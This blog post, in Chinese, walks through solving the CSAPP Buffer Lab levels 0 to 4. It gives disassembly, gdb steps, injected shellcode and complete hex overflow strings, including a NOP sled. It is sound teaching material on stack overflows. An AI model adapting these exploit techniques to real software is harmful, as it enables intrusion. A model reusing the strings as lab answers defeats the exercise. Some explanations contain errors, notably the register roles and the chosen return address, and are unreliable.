CSAPP Lab3 解题分析

Author Avatar
Xin Qiu Mar 30, 2016
  • Read this article on other device

首先,使用tar xvf命令解压文件后,会有3个可执行的二进制文件bufbomb,hex2raw,makecookie。参考write-up

Level 0

Bufbomb程序运行会读一个字符串,使用一下函数getbuf:

/* Buffer size for getbuf */
#define NORMAL_BUFFER_SIZE 32

int getbuf()
{
    char buf[NORMAL_BUFFER_SIZE];
    Gets(buf);
    return 1;
}

Gets函数和标准库的gets功能比较相似,是读取字符串。因为Gets没有办法判断是否buf足够大,所以要用一个函数去判断长度是否小于32。将字符串传入getbuf函数中,若字符串小于32,则返回1.

080491f4 <getbuf>:
 80491f4:    55                       push   %ebp
 80491f5:    89 e5                    mov    %esp,%ebp
 80491f7:    83 ec 38                 sub    $0x38,%esp
 80491fa:    8d 45 d8                 lea    -0x28(%ebp),%eax
 80491fd:    89 04 24                 mov    %eax,(%esp)
 8049200:    e8 f5 fa ff ff           call   8048cfa <Gets>
 8049205:    b8 01 00 00 00           mov    $0x1,%eax
 804920a:    c9                       leave  
 804920b:    c3                       ret

getbuf是由函数test调用:

void test() {   
  int val;   
  /* Put canary on stack to detect possiblecorruption */   
  volatile int local = uniqueval();   

  val = getbuf();   

  /* Check for corruption stack */   
  if (local != uniqueval()) {   
    printf("Sabotaged!: the stack has beencorrupted\n");   
  }   
  else if (val == cookie) {   
    printf("Boom!: getbuf returned0x%x\n", val);   
    validate(3);   
  } else {   
    printf("Dud: getbuf returned0x%x\n", val);   
  }   
}

其中,Smoke源码:

void smoke(){   
  puts("Smoke!: You calledsmoke()");   
  validate(0);   
  exit(0);   
}

level 0 的任务是让getbuf在执行后返回时,执行smoke函数,而不是返回test函数中。

关于堆栈,可以参考书中的这张图

根据上面的汇编代码,可以知道,首先push保存了堆指针(frame pointer),然后%ebp保存帧指针(stack pointer),%esp减0x38。lea把buf的指针地址-0x28(%ebp)传给了Gets函数。所以可以画出堆栈图

+---------------+
|               |
| getbuf返回地址 |
|               |
+---------------+
|               |
|     %ebp      |
|               |
+---------------+
|               |
|               |
|               |
|      buf      |
|               |
|    40 byte    |
|               |
|               |
|               |
+---------------+
|               |
|     %esp      |
|               |
+---------------+

所以为了修改getbuf返回地址,需要在从buf开始,填充 40 + 4 = 44个字节,并且按照要求,这44个字节要是非0a数。根据汇编得到的smoke地址为08048c18,又因为是电脑小端法,所以构建的文本可以是这样的

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 8c 04 08

Level 1

bufbomb中有个函数fizz:

void fizz(int val) {
  if (val == cookie) {
    printf("Fizz!: You calledfizz(0x%x)\n", val);
    validate(1);
 }
  else
    printf("Misfire: You calledfizz(0x%x)\n", val);

  exit(0);  
}

题目要求和level 0类似,就是让程序执行fizz而不是返回test。区别就是这个fizz函数要求传入参数,而且传入的参数必须是自己的cookie。

08048c42 <fizz>:
 8048c42: 55                    push   %ebp
 8048c43: 89 e5                 mov    %esp,%ebp
 8048c45: 83 ec 18              sub    $0x18,%esp
 8048c48: 8b 45 08              mov    0x8(%ebp),%eax
 8048c4b: 3b 05 08 d1 04 08     cmp    0x804d108,%eax
 8048c51: 75 26                 jne    8048c79 <fizz+0x37>
 8048c53: 89 44 24 08           mov    %eax,0x8(%esp)
 8048c57: c7 44 24 04 ee a4 04  movl   $0x804a4ee,0x4(%esp)
 8048c5e: 08 
 8048c5f: c7 04 24 01 00 00 00  movl   $0x1,(%esp)
 8048c66: e8 55 fd ff ff        call   80489c0 <__printf_chk@plt>
 8048c6b: c7 04 24 01 00 00 00  movl   $0x1,(%esp)
 8048c72: e8 04 07 00 00        call   804937b <validate>
 8048c77: eb 18                 jmp    8048c91 <fizz+0x4f>
 8048c79: 89 44 24 08           mov    %eax,0x8(%esp)
 8048c7d: c7 44 24 04 40 a3 04  movl   $0x804a340,0x4(%esp)
 8048c84: 08 
 8048c85: c7 04 24 01 00 00 00  movl   $0x1,(%esp)
 8048c8c: e8 2f fd ff ff        call   80489c0 <__printf_chk@plt>
 8048c91: c7 04 24 00 00 00 00  movl   $0x0,(%esp)
 8048c98: e8 63 fc ff ff        call   8048900 <exit@plt>

通过反汇编,可以发现变量val存在0x8(%ebp)这个位置,所以需要将0x8(%ebp)位置的值修改为cookie。首先前面的44位用非0a数填充,接着应该用fizz的地址08048c42替换原来的返回地址。然后添加4个非0a数,之后就应该添加cookie了。注意cookie也是用到小端表示。

所以构成了:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 8c 04 08 00 00 00 00 88 41 9d 21

Level 2

让getbuf调用后执行bang函数,同时修改global_value。因为global_value是全局变量,所以并没储存在栈中。

int global_value = 0;
void bang(int val)
{
    if (global_value == cookie) {
        printf("Bang!: You set global_value to 0x%x\n", global_value);
        validate(2);
    } else
        printf("Misfire: global_value = 0x%x\n", global_value);
    exit(0);
}

通过反汇编:

08048c9d <bang>:
 8048c9d: 55                    push   %ebp
 8048c9e: 89 e5                 mov    %esp,%ebp
 8048ca0: 83 ec 18              sub    $0x18,%esp
 8048ca3: a1 00 d1 04 08        mov    0x804d100,%eax
 8048ca8: 3b 05 08 d1 04 08     cmp    0x804d108,%eax
 8048cae: 75 26                 jne    8048cd6 <bang+0x39>
 8048cb0: 89 44 24 08           mov    %eax,0x8(%esp)
 8048cb4: c7 44 24 04 60 a3 04  movl   $0x804a360,0x4(%esp)
 8048cbb: 08 
 8048cbc: c7 04 24 01 00 00 00  movl   $0x1,(%esp)
 8048cc3: e8 f8 fc ff ff        call   80489c0 <__printf_chk@plt>
 8048cc8: c7 04 24 02 00 00 00  movl   $0x2,(%esp)
 8048ccf: e8 a7 06 00 00        call   804937b <validate>
 8048cd4: eb 18                 jmp    8048cee <bang+0x51>
 8048cd6: 89 44 24 08           mov    %eax,0x8(%esp)
 8048cda: c7 44 24 04 0c a5 04  movl   $0x804a50c,0x4(%esp)
 8048ce1: 08 
 8048ce2: c7 04 24 01 00 00 00  movl   $0x1,(%esp)
 8048ce9: e8 d2 fc ff ff        call   80489c0 <__printf_chk@plt>
 8048cee: c7 04 24 00 00 00 00  movl   $0x0,(%esp)
 8048cf5: e8 06 fc ff ff        call   8048900 <exit@plt>

在gdb中先在getbuf处设置断点, 接着

(gdb) r -u xinqiu

让其继续运行到断点处。根据上述的反汇编代码,用 x/i 0x804d100 得到

(gdb) x/i 0x804d100
   0x804d100 <global_value>:  add    %al,(%eax)

可以知道0x804d100放的是global_value。如果想执行某一个函数,那么就把该函数的入口地址入栈。所以能写出漏洞利用代码,将cookie传入全局变量的地址中,然后将bang的入口地址入栈,接着用ret运行。将以下汇编代码保存到level2.S中。

movl $0x219d4188,0x804d100
pushl $0x08048c9d
ret

按照writeup,使用

gcc -m32 -c level2.S

编译,再用objdump反汇编

objdump -d level2.o > level2.d

通过查看level2.d


level2.o:     file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0: c7 05 00 d1 04 08 88  movl   $0x219d4188,0x804d100
   7: 41 9d 21 
   a: 68 9d 8c 04 08        push   $0x8048c9d
   f: c3                    ret

将getbuf的返回地址改成buf的首地址运行,上一个栈的4字节改成bang函数的地址。这样当在getbuf中调用ret返回时程序会跳转到buf处上面的构造的恶意函数(指令),再通过恶意函数中的ret指令跳转原栈中bang的入口地址,再进入bang函数中执行。

为了得到buf的运行地址,可以使用gdb来获取

(gdb) p/x ($ebp-0x28)
$1 = 0x55683168

现在可以构造文本文件level2.txt,首先前40个字节中先用level2.d左边的操作码填充,剩余空位用00填充,接着用4个00覆盖保存的%ebp地址,最后将恶意函数的入口地址覆盖原来的返回地址,通过ret执行这个恶意函数。

c7 05 00 d1 04 08 88 41 9d 21 68 9d 8c 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 31 68 55

Level 3

让getbuf正常返回到test函数,同时返回值为cookie。所以需要恢复被破坏的栈环境,将溢出前的正确的返回地址入栈,然后执行ret。因为getbuf的返回值在%eax寄存器中,溢出时会覆盖%ebp,所以需要进行恢复。

使用GDB

(gdb) b test

接着

(gdb) r -u xinqiu

通过查看pc寄存器的位置

(gdb) x/10i $pc
=> 0x8048dae <test+4>:  sub    $0x24,%esp
   0x8048db1 <test+7>:  call   0x8048d90 <uniqueval>
   0x8048db6 <test+12>: mov    %eax,-0xc(%ebp)
   0x8048db9 <test+15>: call   0x80491f4 <getbuf>
   0x8048dbe <test+20>: mov    %eax,%ebx
   0x8048dc0 <test+22>: call   0x8048d90 <uniqueval>
   0x8048dc5 <test+27>: mov    -0xc(%ebp),%edx
   0x8048dc8 <test+30>: cmp    %edx,%eax
   0x8048dca <test+32>: je     0x8048dda <test+48>
   0x8048dcc <test+34>: movl   $0x804a388,(%esp)

可以知道在getbuf函数返回后的一条指令是 0x8048dbe

下面就是要构造攻击代码。需要将cookie传入eax寄存器,接着通过push入栈,ret返回来继续执行之后的代码。

mov $0x219d4188,%eax
push $0x08048dbe
ret

类似Level 2的操作,可以得到攻击文本文件

b8 88 41 9d 21 68 be 8d 04 08
c3 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00
c0 31 68 55
68 31 68 55

其中,倒数第二行是保存的ebp寄存器地址。

Level 4

首先通过反汇编得到:

0804920c <getbufn>:
 804920c: 55                    push   %ebp
 804920d: 89 e5                 mov    %esp,%ebp
 804920f: 81 ec 18 02 00 00     sub    $0x218,%esp
 8049215: 8d 85 f8 fd ff ff     lea    -0x208(%ebp),%eax
 804921b: 89 04 24              mov    %eax,(%esp)
 804921e: e8 d7 fa ff ff        call   8048cfa <Gets>
 8049223: b8 01 00 00 00        mov    $0x1,%eax
 8049228: c9                    leave  
 8049229: c3                    ret    
 804922a: 90                    nop
 804922b: 90                    nop

通过 p/x ($ebp-0x208) 可以知道buf的首地址为 0x55682f88,且buf为520个字节大小。因为getbufn被执行了五次,通过gdb continue 5次,每次都查看buf地址,可以得到每次的首地址。

0x55682f88
0x55682f48
0x55682fe8
0x55682f28
0x55682f08

根据testn的前一部分反汇编代码

 08048e26 <testn>:
 8048e26: 55                    push   %ebp
 8048e27: 89 e5                 mov    %esp,%ebp
 8048e29: 53                    push   %ebx
 8048e2a: 83 ec 24              sub    $0x24,%esp
 8048e2d: e8 5e ff ff ff        call   8048d90 <uniqueval>
 8048e32: 89 45 f4              mov    %eax,-0xc(%ebp)
 8048e35: e8 d2 03 00 00        call   804920c <getbufn>
 8048e3a: 89 c3                 mov    %eax,%ebx

esp和ebp寄存器相等,所以当 push %ebx 时, 此时的 %ebp = %esp + 0x4, sub $0x24,%esp 之后, %ebp = %esp + 0x28,这个就是%esp和%ebp每次的变化关系。此外可以知道call getbufn的下一条指令的地址为 0x8048e3a。

所以得出汇编代码

lea 0x28(%esp),%ebp
mov $0x219d4188,%eax
push $0x8048e3a
ret

根据建议, buf的520个自己空间加上返回地址和ebp共528个字节,去掉返回地址和攻击的指令字节码,剩余的都用nop也就是0x90填充。也就是509个nop形成”nop sled”。

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 
8d 6c 24 28 b8 88 41 9d 21 68 3a 8e 04 08 c3 
e8 2f 68 55

最后的返回地址,选择最大buf地址来覆盖,也就是用0x55682f08。

值得注意的是,在运行hex2raw程序时需要添上 -n 这个参数。

总结

BufLab 算是完成了,稍微对模拟缓冲区溢出熟悉了一点,加深了对程序堆栈的理解。